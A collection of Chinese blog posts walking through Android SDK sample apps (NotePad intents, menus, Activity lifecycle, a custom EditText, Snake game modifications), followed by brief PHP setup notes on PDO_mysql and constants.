上一篇文章介绍了Android的菜单机制,并动手做了一个实验来探究动态菜单的实验机制。这一篇将重点介绍Activity的生命周期,通过一个简单的实验来摸索状态转换的机制,最后介绍NotePad中使用的自定义控件技术。 Activity的生命周期 Activity类中有许多onXXX形式的函数可以重载,比如onCreate,onStart,onStop,onPause,那么它们的调用顺序到底是如何的呢?下面就通过一个实验来进行分析。在做这个实验之前,我们先得知道如何在Android中进行Log输出的。 我们要使用的是android.util.log类,这个类相当的简单易用,因为它提供的全是一些静态方法: Log.v(String tag, String msg); //VERBOSE Log.d(String tag, String msg); //DEBUG Log.i(String tag, String msg); //INFO Log.w(String tag, String msg); //WARN Log.e(String tag, String msg); //ERROR 前面的tag是由我们定义的一个标识,一般可以用“类名_方法名“来定义。要在Eclipse中查看输出的log信息,需要打开Logcat(WindowàShow ViewàotheràAndroidàLogCat即可打开) 实验一 我们要做的实验非常简单,就是有两个Activity(我这里分别叫做frmLogin和hello2),t它们各自有一个button,可以从第一个跳到第二个,也可以从第二个跳回到第一个。 配置文件AndroidManifest.xml非常简单,第二个activity并没有多余的信息需要指定。 复制代码 <application android:icon="@drawable/icon" android:label="@string/app_name"> <activity android:name=".frmLogin" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name="hello2" android:label="@string/app_name"> </activity> </application> 复制代码 第一个activity的代码如下: 复制代码 public class frmLogin extends Activity { private final static String TAG = "FrmLogin"; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Log.v(TAG,"onCreate"); setContentView(R.layout.main); this.setViewOneCommand(); } public void setViewOneCommand() { Button btn = (Button)findViewById(R.id.btnGo); btn.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { Intent intent = new Intent(); intent.setClass(frmLogin.this, hello2.class); startActivity(intent); finish(); } }); Button btnExit=(Button)findViewById(R.id.btnExit); btnExit.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { frmLogin.this.finish(); } }); } @Override protected void onDestroy() { super.onDestroy(); Log.v(TAG,"onDestroy"); } @Override protected void onPause() { super.onPause(); Log.v(TAG,"onPause"); } @Override protected void onRestart() { super.onRestart(); Log.v(TAG,"onRestart"); } @Override protected void onResume() { super.onResume(); Log.v(TAG,"onResume"); } @Override protected void onStart() { super.onStart(); Log.v(TAG,"onStart"); } @Override protected void onStop() { super.onStop(); Log.v(TAG,"onStop"); } } 复制代码 我在每个onXXX方法中都加入了log方法,值得注意的一点是按钮单击事件处理函数中,在最后我调用了finish();待会我会将此行注释掉进行对比实验。 第二个activity的代码和第一个完全一样,只是将setClass的两个参数反一下,这样就可以简单地实现在两个Activity界面中来回切换的功能了。 下面开始实验,第一个实验室从第一个activity跳到第二个activity(此时第一个关闭),然后从第二个跳回第一个(此时第二个关闭) 运行后观察LogCat,得到如下画面: 然后来进行第二个实验,对代码进行调整,我们把第一个activity中的finish()注释掉,从第一个activity跳到第二个(此时第一个没有关闭),然后第二个直接关闭(则第一个会重新来到前端),结果如图所示,可以看出调用了FrmLogin的onRestart而不是onStart,因为第一个activity只是stop,而并没有被destory掉。 前面两个实验都很好理解,可第三个实验就让我不明白了,过程如下:从第一个activity跳到第二个activity(此时第一个不关闭),然后第二个跳回第一个(此时第二个也不关闭),然后第一个再跳回第二个(此时第一个不关闭),照上面来推断,应该还是会调用onRestart才对,可实际上它调用的却是onStart,why??? 这里先不讨论例子了,来看看官方文档对Activity生命周期的介绍。 1.Android用Activity Stack来管理多个Activity,所以呢,同一时刻只会有最顶上的那个Activity是处于active或者running状态。其它的Activity都被压在下面了。 2.如果非活动的Activity仍是可见的(即如果上面压着的是一个非全屏的Activity或透明的Activity),它是处于paused状态的。在系统内存不足的情况下,paused状态的Activity是有可被系统杀掉的。只是不明白,如果它被干掉了,界面上的显示又会变成什么模样?看来下回有必要研究一下这种情况了。 3.几个事件的配对可以比较清楚地理解它们的关系。Create与Destroy配成一对,叫entrie lifetime,在创建时分配资源,则在销毁时释放资源;往上一点还有Start与Stop一对,叫visible lifetime,表达的是可见与非可见这么一个过程;最顶上的就是Resume和Pause这一对了,叫foreground lifetime,表达的了是否处于激活状态的过程。 4.因此,我们实现的Activity派生类,要重载两个重要的方法:onCreate()进行初始化操作,onPause()保存当前操作的结果。 除了Activity Lifecycle以外,Android还有一个Process Lifecycle的说明: 在内存不足的时候,Android是会主动清理门户的,那它又是如何判断哪个process是可以清掉的呢?文档中也提到了它的重要性排序: 1.最容易被清掉的是empty process,空进程是指那些没有Activity与之绑定,也没有任何应用程序组件(如Services或者IntentReceiver)与之绑定的进程,也就是说在这个process中没有任何activity或者service之类的东西,它们仅仅是作为一个cache,在启动新的Activity时可以提高速度。它们是会被优先清掉的。因此建议,我们的后台操作,最好是作成Service的形式,也就是说应该在Activity中启动一个Service去执行这些操作。 2.接下来就是background activity了,也就是被stop掉了那些activity所处的process,那些不可见的Activity被清掉的确是安全的,系统维持着一个LRU列表,多个处于background的activity都在这里面,系统可以根据LRU列表判断哪些activity是可以被清掉的,以及其中哪一个应该是最先被清掉。不过,文档中提到在这个已被清掉的Activity又被重新创建的时候,它的onCreate会被调用,参数就是onFreeze时的那个Bundle。不过这里有一点不明白的是,难道这个Activity被killed时,Android会帮它保留着这个Bundle吗? 3.然后就轮到service process了,这是一个与Service绑定的进程,由startService方法启动。虽然它们不为用户所见,但一般是在处理一些长时间的操作(例如MP3的播放),系统会保护它,除非真的没有内存可用了。 4.接着又轮到那些visible activity了,或者说visible process。前面也谈到这个情况,被Paused的Activity也是有可能会被系统清掉,不过相对来说,它已经是处于一个比较安全的位置了。 5.最安全应该就是那个foreground activity了,不到迫不得已它是不会被清掉的。这种process不仅包括resume之后的activity,也包括那些onReceiveIntent之后的IntentReceiver实例。 在Android Application的生命周期的讨论中,文档也提到了一些需要注意的事项:因为Android应用程序的生存期并不是由应用本身直接控制的,而是由Android系统平台进行管理的,所以,对于我们开发者而言,需要了解不同的组件Activity、Service和IntentReceiver的生命,切记的是:如果组件的选择不当,很有可能系统会杀掉一个正在进行重要工作的进程。 自定义控件 这里主要介绍下“编辑日志”中使用的一个自定义EditText控件,它的效果如下图: 主要功能就是在文本语句之间绘制分割线。 复制代码 public static class LinedEditText extends EditText { private Rect mRect; private Paint mPaint; // we need this constructor for LayoutInflater public LinedEditText(Context context, AttributeSet attrs) { super(context, attrs); mRect = new Rect(); mPaint = new Paint(); mPaint.setStyle(Paint.Style.STROKE); mPaint.setColor(0x800000FF); } @Override protected void onDraw(Canvas canvas) { int count = getLineCount(); Rect r = mRect; Paint paint = mPaint; for (int i = 0; i < count; i++) { int baseline = getLineBounds(i, r); canvas.drawLine(r.left, baseline + 1, r.right, baseline + 1, paint); } super.onDraw(canvas); } } 复制代码 主要工作就是重载onDraw方法,利用从TextView继承下来的getLineCount函数获取文本所占的行数,以及getLineBounds来获取特定行的基准高度值,而且这个函数第二个参数会返回此行的“外包装”值。再利用这些值绘制这一行的线条。 为了让界面的View使用自定义的EditText类,必须在配置文件中进行设置 复制代码 <view xmlns:android="http://schemas.android.com/apk/res/android" class="com.example.android.notepad.NoteEditor$LinedEditText" android:id="@+id/note" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@android:color/transparent" android:padding="5dip" android:scrollbars="vertical" android:fadingEdge="vertical" android:gravity="top" android:textSize="22sp" android:capitalize="sentences" /> 复制代码 这里class="com.example.android.notepad.NoteEditor$LinedEditText"就指明了应当使用自定义的LinedEditText类。 本文转自Phinecos(洞庭散人)博客园博客,原文链接:http://www.cnblogs.com/phinecos/archive/2009/08/27/1555221.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android实例剖析笔记(一)

开卷语 俗话说,“熟读唐诗三百首,不会作诗也会吟”。最近收集了很多Android的示例代码,从这些代码的阅读和实验中学习到很多知识,从而产生写这个系列的打算,目标就是一步步跟着实例进行动手实作,真正从“做”中体会和学习Android开发。 本文是这个系列的第一篇,目标是Android自带的一个范例程序:记事本,将分为四篇文章进行详细介绍。 预备知识 搭建开发环境,尝试编写”Hello World”,了解Android的基本概念,熟悉Android的API(官方文档中都有,不赘述)。 程序截图 先来简单了解下程序运行的效果 程序入口点 类似于win32程序里的WinMain函数,Android自然也有它的程序入口点。它通过在AndroidManifest.xml文件中配置来指明,可以看到名为NotesList的activity节点下有这样一个intent-filter,其action为android.intent.action.MAIN, Category指定为 android.intent.category.LAUNCHER,这就指明了这个activity是作为入口activity,系统查找到它后,就会创建这个activity实例来运行,若未发现就不启动(你可以把MAIN改名字试试)。 <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> NotesList详解 就从入口点所在的activity(见图1)开始,可以看到这个activity最重要的功能就是显示日志列表。这个程序的日志都存放在Sqlite数据库中,因此需要读取出所有的日志记录并显示。 先来看两个重要的私有数据,第一个PROJECTION字段指明了“日志列表“所关注的数据库中的字段(即只需要ID和Title就可以了)。 private static final String[] PROJECTION = new String[] { Notes._ID, // 0 Notes.TITLE, // 1 }; 第二个字段COLUMN_INDEX_TITLE指明title字段在数据表中的索引。 private static final int COLUMN_INDEX_TITLE = 1; 然后就进入第一个调用的函数onCreate。 Intent intent = getIntent(); if (intent.getData() == null) { intent.setData(Notes.CONTENT_URI); } 因为NotesList这个activity是系统调用的,此时的intent是不带数据和操作类型的,系统只是在其中指明了目标组件是Notelist,所以这里把”content:// com.google.provider.NotePad/notes”保存到intent里面,这个URI地址指明了数据库中的数据表名(参见以后的NotePadProvider类),也就是保存日志的数据表notes。 Cursor cursor = managedQuery(getIntent().getData(), PROJECTION, null, null, Notes.DEFAULT_SORT_ORDER); 然后调用managedQuery函数查询出所有的日志信息,这里第一个参数就是上面设置的” content:// com.google.provider.NotePad/notes”这个URI,即notes数据表。PROJECTION 字段指明了结果中所需要的字段,Notes.DEFAULT_SORT_ORDER 指明了结果的排序规则。实际上managedQuery并没有直接去查询数据库,而是通过Content Provider来完成实际的数据库操作,这样就实现了逻辑层和数据库层的分离。 SimpleCursorAdapter adapter = new SimpleCursorAdapter(this, R.layout.noteslist_item, cursor, new String[] { Notes.TITLE }, new int[] { android.R.id.text1 }); setListAdapter(adapter); 查询出日志列表后,构造一个CursorAdapter,并将其作为List View的数据源,从而在界面上显示出日志列表。可以看到,第二个参数是R.layout.noteslist_item,打开对应的noteslist_item.xml文件, 复制代码 <TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@android:id/text1" android:layout_width="fill_parent" android:layout_height="?android:attr/listPreferredItemHeight" android:textAppearance="?android:attr/textAppearanceLarge" android:gravity="center_vertical" android:paddingLeft="5dip" android:singleLine="true" /> 复制代码 就是用来显示一条日志记录的TextView,最后两个字段指明了实际的字段映射关系,通过这个TextView来显示一条日志记录的title字段。 处理“选择日志”事件 既然有了“日志列表”,就自然要考虑如何处理某一条日志的单击事件,这通过重载onListItemClick方法来完成, 复制代码 @Override protected void onListItemClick(ListView l, View v, int position, long id) { Uri uri = ContentUris.withAppendedId(getIntent().getData(), id); String action = getIntent().getAction(); if (Intent.ACTION_PICK.equals(action) || Intent.ACTION_GET_CONTENT.equals(action)) { // The caller is waiting for us to return a note selected by // the user. The have clicked on one, so return it now. setResult(RESULT_OK, new Intent().setData(uri)); } else { // Launch activity to view/edit the currently selected item startActivity(new Intent(Intent.ACTION_EDIT, uri)); } } 复制代码 首先通过”content:// com.google.provider.NotePad/notes”和日志的id 号拼接得到选中日志的真正URI,然后创建一个新的Intent,其操作类型为Intent.ACTION_EDIT,数据域指出待编辑的日志URI(这里只分析else块)。 Intent深度剖析 那么,上面这句startActivity(new Intent(Intent.ACTION_EDIT, uri))执行后会发生什么事情呢?这时候Android系统就跳出来接管了,它会根据intent中的信息找到对应的activity,在这里找到的是NoteEditor这个activity,然后创建这个activity的实例并运行。 那么,Android又是如何找到NoteEditor这个对应的activity的呢?这就是intent发挥作用的时刻了。 new Intent(Intent.ACTION_EDIT, uri) 这里的Intent.ACTION_EDIT=” android.intent.action.EDIT”,另外通过设置断点,我们看下这里的uri值: 可以看到选中的日志条目的URI是:content://com.google.provider.NotePad/notes/1 然后我们再来看下Androidmanfest.xml,其中有这个provider <provider android:name="NotePadProvider" android:authorities="com.google.provider.NotePad" /> 发现没有?它也有com.google.provider.NotePad,这个是content://com.google.provider.NotePad/notes/1的一部分,同时 复制代码 <activity android:name="NoteEditor" android:theme="@android:style/Theme.Light" android:label="@string/title_note" android:screenOrientation="sensor" android:configChanges="keyboardHidden|orientation" > <!-- This filter says that we can view or edit the data of a single note --> <intent-filter android:label="@string/resolve_edit"> <action android:name="android.intent.action.VIEW" /> <action android:name="android.intent.action.EDIT" /> <action android:name="com.android.notepad.action.EDIT_NOTE" /> <category android:name="android.intent.category.DEFAULT" /> <data android:mimeType="vnd.android.cursor.item/vnd.google.note" /> </intent-filter> <!-- This filter says that we can create a new note inside of a directory of notes. --> <intent-filter> <action android:name="android.intent.action.INSERT" /> <category android:name="android.intent.category.DEFAULT" /> <data android:mimeType="vnd.android.cursor.dir/vnd.google.note" /> </intent-filter> </activity> 复制代码 上面第一个intent-filter中有一个action 名为android.intent.action.EDIT,而前面我们创建的Intent也正好是 Intent.ACTION_EDIT=” android.intent.action.EDIT”,想必大家已经明白是怎么回事了吧。 下面就进入activity选择机制了: 系统从intent中获取道uri,得到了content://com.google.provider.NotePad/notes/1,去掉开始的content:标识,得到com.google.provider.NotePad/notes/1,然后获取前面的com.google.provider.NotePad,然后就到Androidmanfest.xml中找到authorities为com.google.provider.NotePad的provider,这个就是后面要讲的contentprovider,然后就加载这个content provider。 <provider android:name="NotePadProvider" android:authorities="com.google.provider.NotePad" /> 在这里是NotePadProvider,然后调用NotePadProvider的gettype函数,并把上述URI传给这个函数,函数返回URI所对应的类型(这里返回Notes.CONTENT_ITEM_TYPE,代表一条日志记录,而CONTENT_ITEM_TYPE = " vnd.android.cursor.item/vnd.google.note ")。 复制代码 @Override public String getType(Uri uri) { switch (sUriMatcher.match(uri)) { case NOTES: return Notes.CONTENT_TYPE; case NOTE_ID: return Notes.CONTENT_ITEM_TYPE; default: throw new IllegalArgumentException("Unknown URI " + uri); } } 复制代码 上面的sUriMatcher.match是用来检测uri是否能够被处理,而sUriMatcher.match(uri)返回值其实是由 sUriMatcher = new UriMatcher(UriMatcher.NO_MATCH); sUriMatcher.addURI(NotePad.AUTHORITY, "notes", NOTES); sUriMatcher.addURI(NotePad.AUTHORITY, "notes/#", NOTE_ID); 决定的。 然后系统使用获得的" vnd.android.cursor.item/vnd.google.note "和”android.intent.action.EDIT”到androidmanfest.xml中去找匹配的activity. 复制代码 <intent-filter android:label="@string/resolve_edit"> <action android:name="android.intent.action.VIEW" /> <action android:name="android.intent.action.EDIT" /> <action android:name="com.android.notepad.action.EDIT_NOTE" /> <category android:name="android.intent.category.DEFAULT" /> <data android:mimeType="vnd.android.cursor.item/vnd.google.note" /> </intent-filter> 复制代码 正好NoteEditor这个activity的intent-filter满足上述条件,这样就找到了NoteEditor。于是系统加载这个类并实例化,运行,然后就到了NoteEditor的OnCreate函数中(见后续文章)。 小技巧 1,在命令行中使用”adb shell”命令进入系统中,然后”cd app”进入应用程序所在目录,”rm XXX”就可以删除你指定的apk,从而去掉其在系统顶层界面占据的图标,若两次”cd data”则可以进入应用程序使用的数据目录,你的数据可以保存在这里,例如Notepad就是把其数据库放在它的databases目录下,名为note_pad.db. 2,第一次启动模拟器会比较慢,但以后就别关闭模拟器了,修改代码,调试都不需要再次启动的,直接修改后run或debug就是。 本文转自Phinecos(洞庭散人)博客园博客,原文链接:http://www.cnblogs.com/phinecos/archive/2009/08/26/1554684.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android实例剖析笔记(二)

上篇文章分析了NotesList这个Activity,并着重剖析了其中的intent机制,本文将继续上篇未完的工作,以NotesList为实例介绍Android的菜单机制(尤其是动态菜单机制)。 简介 android提供了三种菜单类型,分别为options menu,context menu,sub menu。 options menu就是通过按home键来显示,context menu需要在view上按上2s后显示。这两种menu都有可以加入子菜单,子菜单不能种不能嵌套子菜单。options menu最多只能在屏幕最下面显示6个菜单选项,称为icon menu,icon menu不能有checkable选项。多于6的菜单项会以more icon menu来调出,称为expanded menu。options menu通过activity的onCreateOptionsMenu来生成,这个函数只会在menu第一次生成时调用。任何想改变options menu的想法只能在onPrepareOptionsMenu来实现,这个函数会在menu显示前调用。onOptionsItemSelected 用来处理选中的菜单项。 context menu是跟某个具体的view绑定在一起,在activity种用registerForContextMenu来为某个view注册context menu。context menu在显示前都会调用onCreateContextMenu来生成menu。onContextItemSelected用来处理选中的菜单项。 android还提供了对菜单项进行分组的功能,可以把相似功能的菜单项分成同一个组,这样就可以通过调用setGroupCheckable,setGroupEnabled,setGroupVisible来设置菜单属性,而无须单独设置。 Options Menu Notepad中使用了options menu和context menu两种菜单。首先来看生成options menu的onCreateOptionsMenu函数。 menu.add(0, MENU_ITEM_INSERT, 0, R.string.menu_insert) .setShortcut('3', 'a') .setIcon(android.R.drawable.ic_menu_add); 这是一个标准的插入一个菜单项的方法,菜单项的id为MENU_ITEM_INSERT。 有意思的是下面这几句代码: Intent intent = new Intent(null, getIntent().getData()); intent.addCategory(Intent.CATEGORY_ALTERNATIVE); menu.addIntentOptions(Menu.CATEGORY_ALTERNATIVE, 0, 0, new ComponentName(this, NotesList.class), null, intent, 0, null); 这到底有何用处呢?其实这是一种动态菜单技术(也有点像插件机制),若某一个activity,其类型是”android.intent.category.ALTERNATIVE”,数据是”vnd.android.cursor.dir/vnd.google.note”的话,系统就会为这个activity增加一个菜单项。在androidmanfest.xml中查看后发现,没有一个activity符合条件,所以这段代码并没有动态添加出任何一个菜单项。 为了验证上述分析,我们可以来做一个实验,在androidmanfest.xml中进行修改,看是否会动态生成出菜单项。 实验一 首先我们来创建一个新的activity作为目标activity,名为HelloAndroid,没有什么功能,就是显示一个界面。 复制代码 public class HelloAndroid extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setContentView(R.layout.main); } } 复制代码 它所对应的布局界面XML文件如下: 复制代码 <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/TextView01"/> <Button android:id="@+id/Button01" android:layout_height="wrap_content" android:layout_width="fill_parent" android:text="@string/txtInfo"></Button> </LinearLayout> 复制代码 然后修改androidmanfest.xml,加入下面这段配置,让HelloAndroid满足上述两个条件: 复制代码 <activity android:name="HelloAndroid" android:label="@string/txtInfo"> <intent-filter> <action android:name="com.android.notepad.action.HELLO_TEST" /> <category android:name="android.intent.category.ALTERNATIVE"/> <data android:mimeType="vnd.android.cursor.dir/vnd.google.note" /> </intent-filter> </activity> 复制代码 好了,运行下试试,哎,还是没有动态菜单项加入呀! 怎么回事呢?查看代码后发现,原来是onPrepareOptionsMenu搞的鬼!这个函数在onCreateOptionsMenu之后运行,下面这段代码中,由于Menu.CATEGORY_ALTERNATIVE是指向同一个组,所以把onCreateOptionsMenu中设置的菜单项给覆盖掉了,而由于onPrepareOptionsMenu没有给Menu.CATEGORY_ALTERNATIVE附新值,故Menu.CATEGORY_ALTERNATIVE还是为空。 Intent intent = new Intent(null, uri); intent.addCategory(Intent.CATEGORY_ALTERNATIVE); menu.addIntentOptions(Menu.CATEGORY_ALTERNATIVE, 0, 0, null, specifics, intent, 0,items); 好的,那我们暂时把上面这几句给注释掉,当然,也可以不注释这几句,在onCreateOptionsMenu中改groupid号,即将Menu.CATEGORY_ALTERNATIVE改为Menu.first,其他的也行,但注意不要改为menu.none,这样会覆盖掉 menu.add(0, MENU_ITEM_INSERT, 0, R.string.menu_insert) .setShortcut('3', 'a') .setIcon(android.R.drawable.ic_menu_add); 添加的菜单。因为menu.none也为0 运行后就可以看到动态菜单出来了! 上面这个options menu是在NotesList界面上没有日志列表选中的情况下生成的,若先选中一个日志,然后再点”menu”,则生成的options menu是下面这样的: 哎,又动态增加了两个菜单项”Edit note”和”Edit title”,这又是如何动态加入的呢?这就是onPrepareOptionsMenu的功劳了。 Uri uri = ContentUris.withAppendedId(getIntent().getData(), getSelectedItemId()); 首先获取选中的日志(若没有选择,则uri为空) Intent[] specifics = new Intent[1]; specifics[0] = new Intent(Intent.ACTION_EDIT, uri); MenuItem[] items = new MenuItem[1]; 然后为选中的日志创建一个intent,操作类型为Intent.ACTION_EDIT,数据为选中日志的URI.于是会为选中的日志创建一个”Edit note”菜单项。 Intent intent = new Intent(null, uri); intent.addCategory(Intent.CATEGORY_ALTERNATIVE); menu.addIntentOptions(Menu.CATEGORY_ALTERNATIVE, 0, 0, null, specifics, intent, 0, items); 这几句和上面onCreateOptionsMenu函数中类似,用于动态增加菜单项,若某一个activity,其类型是”android.intent.category.ALTERNATIVE”,数据是”vnd.android.cursor.item/vnd.google.note”的话,系统就会为这个activity增加一个菜单项。在androidmanfest.xml中查看后发现,TitleEditor这个activity符合条件,于是系统就为TitleEditor这个activity动态添加一个菜单项”Edit title”。 else { menu.removeGroup(Menu.CATEGORY_ALTERNATIVE); } 若日志列表为空,则从菜单中删除组号为Menu.CATEGORY_ALTERNATIVE的菜单项,只剩下”Add note”菜单项。 处理“选中菜单项”事件 菜单项选中事件的处理非常简单,通过onOptionsItemSelected来完成,这里只是简单地调用 startActivity(new Intent(Intent.ACTION_INSERT, getIntent().getData()));这个intent的操作类型为Intent.ACTION_INSERT,数据为日志列表的URI,即”content:// com.google.provider.NotePad/notes” 复制代码 @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case MENU_ITEM_INSERT: // Launch activity to insert a new item startActivity(new Intent(Intent.ACTION_INSERT, getIntent().getData())); return true; } return super.onOptionsItemSelected(item); } 复制代码 Context Menu 下面介绍另一种菜单---上下文菜单,这通过重载onCreateContextMenu函数实现。 首先确认已经选中了日志列表中的一个日志,若没选择,则直接返回。Cursor指向选中的日志项。 Cursor cursor = (Cursor) getListAdapter().getItem(info.position); if (cursor == null) { // For some reason the requested item isn't available, do nothing return; } 然后,设置上下文菜单的标题为日志标题 // Setup the menu header menu.setHeaderTitle(cursor.getString(COLUMN_INDEX_TITLE)); 最后为上下文菜单增加一个菜单项 // Add a menu item to delete the note menu.add(0, MENU_ITEM_DELETE, 0, R.string.menu_delete); 对于上下文菜单项选中的事件处理,是通过重载onContextItemSelected实现的。 复制代码 switch (item.getItemId()) { case MENU_ITEM_DELETE: { // Delete the note that the context menu is for Uri noteUri = ContentUris.withAppendedId(getIntent().getData(), info.id); getContentResolver().delete(noteUri, null, null); return true; } } return false; } 复制代码 对于日志的删除,首先调用ContentUris.withAppendedId(getIntent().getData(), info.id);来拼接出待删除日志的URI.然后getContentResolver().delete(noteUri, null, null);调用下层的Content Provider去删除此日志。 实验二 来做个简单实验,在上述代码基础上增加一个上下文菜单项。首先在onCreateContextMenu函数中增加一个上下文菜单项: menu.add(0,MENU_ITEM_INSERT,0,R.string.menu_insert); 然后为其在onContextItemSelected函数中增加一个处理过程: 复制代码 case MENU_ITEM_INSERT: { new AlertDialog.Builder(this).setIcon(R.drawable.app_notes) .setTitle(R.string.app_name).setMessage(R.string.error_message).setPositiveButton(R.string.button_ok, new OnClickListener(){ public void onClick(DialogInterface dialog, int which) { // TODO Auto-generated method stub } }).show(); return true; } 复制代码 实验结果如下: 附记 感谢Evan JIANG对前一篇文章的错误之处进行指正, “<action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> 只是指明会在Launcher中显示图标,同一个apk可以在桌面上加很多的图标,分别启动内部不同的多个界面。“,实验后发现确实如此,学习了。 本文转自Phinecos(洞庭散人)博客园博客,原文链接:http://www.cnblogs.com/phinecos/archive/2009/08/27/1554955.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android实例剖析笔记(五)

这个系列的前四篇文章介绍了Android sdk中自带的NotePad程序,算是开了个头,这篇开始介绍Android sdk中自带的第二个示例程序—Snake(贪食蛇)。本文将主要介绍我对这个示例程序进行的一些修改。 游戏暂停/继续机制 由于原来的代码中在游戏运行时没有提供控制选项(比如暂停/继续),因此除非你死了,否则只能玩到底。我这里对代码进行一些修改,加入一个Option Menu来提供暂停/继续机制。 首先加入一个变量记录游戏当前状态 private int mState = SnakeView.READY; 然后重载onCreateOptionsMenu函数,创建一个控制菜单项,并对其进行处理,提供暂停/继续机制。 复制代码 /* * @see android.app.Activity#onOptionsItemSelected(android.view.MenuItem) * @Author:phinecos * @Date:2009-08-28 */ @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case MENU_CONTROL: { if (mState == SnakeView.PAUSE) {//此前状态是"停止",则转为"运行" mState = SnakeView.RUNNING; mSnakeView.setMode(SnakeView.RUNNING); item.setIcon(android.R.drawable.ic_media_pause).setTitle(R.string.cmd_pause); } else if(mState == SnakeView.RUNNING) {//此前状态是"运行",则转为“暂停" mState = SnakeView.PAUSE; mSnakeView.setMode(SnakeView.PAUSE); item.setIcon(android.R.drawable.ic_media_play).setTitle(R.string.cmd_run); } else if(mState == SnakeView.READY) {//此前是"初始状态",则转为"运行" mState = SnakeView.RUNNING; } return true; } } return super.onOptionsItemSelected(item); } /* * @see android.app.Activity#onOptionsItemSelected(android.view.MenuItem) * @Author:phinecos * @Date:2009-08-28 */ @Override public boolean onCreateOptionsMenu(Menu menu) { super.onCreateOptionsMenu(menu); menu.add(0, MENU_CONTROL, 0, R.string.cmd_pause).setIcon(android.R.drawable.ic_media_pause); return true; } 复制代码 修改后运行截图如下: 当然,这段代码还是有问题的,游戏刚开始时,必须先点击菜单确认,再按上方向键才能开始。(以后再来修改。。。) 穿墙贪食蛇 第二个修改是把这个普通的贪食蛇改成可以穿墙(呵呵,这样就可以不死了。。。)。想必要修改的就是撞墙检测那段代码?没错,就是下面这段! 复制代码 // Collision detection // For now we have a 1-square wall around the entire arena if ((newHead.x < 1) || (newHead.y < 1) || (newHead.x > mXTileCount - 2)|| (newHead.y > mYTileCount - 2)) {//撞墙 setMode(LOSE); return; } 复制代码 原来的版本是发现撞墙时就直接判定为失败,我这里做个小小的修改,让它可以穿墙而去: 复制代码 private void updateSnake() { boolean growSnake = false; // grab the snake by the head Coordinate head = mSnakeTrail.get(0); Coordinate newHead = new Coordinate(1, 1); mDirection = mNextDirection; switch (mDirection) { case EAST: { newHead = new Coordinate(head.x + 1, head.y); break; } case WEST: { newHead = new Coordinate(head.x - 1, head.y); break; } case NORTH: { newHead = new Coordinate(head.x, head.y - 1); break; } case SOUTH: { newHead = new Coordinate(head.x, head.y + 1); break; } } //穿墙的处理 if (newHead.x == 0) {//穿左边的墙 newHead.x = mXTileCount - 2; } else if (newHead.y == 0) {//穿上面的墙 newHead.y = mYTileCount - 2; } else if (newHead.x == mXTileCount - 1) {//穿右边的墙 newHead.x = 1; } else if (newHead.y == mYTileCount - 1) {//穿下面的墙 newHead.y = 1; } // 判断是否撞到自己 int snakelength = mSnakeTrail.size(); for (int snakeindex = 0; snakeindex < snakelength; snakeindex++) { Coordinate c = mSnakeTrail.get(snakeindex); if (c.equals(newHead)) { setMode(LOSE); return; } } // 判断是否吃掉“苹果” int applecount = mAppleList.size(); for (int appleindex = 0; appleindex < applecount; appleindex++) { Coordinate c = mAppleList.get(appleindex); if (c.equals(newHead)) { mAppleList.remove(c); addRandomApple(); mScore++; mMoveDelay *= 0.9; growSnake = true; } } // push a new head onto the ArrayList and pull off the tail mSnakeTrail.add(0, newHead); // except if we want the snake to grow if (!growSnake) { mSnakeTrail.remove(mSnakeTrail.size() - 1); } int index = 0; for (Coordinate c : mSnakeTrail) { if (index == 0) { setTile(YELLOW_STAR, c.x, c.y); } else { setTile(RED_STAR, c.x, c.y); } index++; } } 复制代码 其实修改后的代码非常简单,就是把新节点的值做些处理,让它移动到对应的行/列的头部或尾部即可。 下面就是修改后的“穿墙”贪食蛇的运行截图: 全屏机制 游戏一般都是全屏的,原始代码也考虑到标题栏太过难看了,于是使用下面这句代码就去掉了标题栏: requestWindowFeature(Window.FEATURE_NO_TITLE); 可还是没有达到全屏的效果,在Android1.5中实现全屏效果非常简单,只需要一句代码即可实现: getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); 运行效果如下图所示: 接下来的修改目标是加入得分排行榜机制,再加入一个启动画面和选择菜单。当然,这一篇文章水了点,仅仅记录了自己做的一些小实验,并没有涉及到Snake的代码分析,不过请继续期待下一篇文章。。。 本文转自Phinecos(洞庭散人)博客园博客,原文链接:http://www.cnblogs.com/phinecos/archive/2009/08/28/1555873.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

PHP知识点笔记

显示错误:PDOException could not find driver. 是表示PDO没有安装对应数据库的扩展,比如没有安装PDO_mysql http://pecl.php.net/package/PDO_MYSQL 下载源码 phpize ./configure --with-php-config=/usr/local/php/bin/php-config ./make ./make install phpExcel的使用需要使用到php的xmlreader和xmlwriter扩展 如果你是使用yum安装php 就直接使用yum install php-xml来进行安装 php的define不能重复定义 比如: 1 2 3 4 5 6 7 <?php define( "TEST" , "11" ); define( "TEST" , "22" ); echo TEST; 1 1 2 3 4 5 6 7 [yejianfeng@xen193v ~/handcode]$ php test.php PHP Notice: Constant TEST already defined in /home/yejianfeng/handcode/test.php on line 4 Notice: Constant TEST already defined in /home/yejianfeng/handcode/test.php on line 4 11 PHP如何获取本地所有变量 $localVariables = compact(array_keys(get_defined_vars())); 安装php模块可以这么安装 PHP_PDO_SHARED=1 pecl install pdo_mysql mysql的字符编码 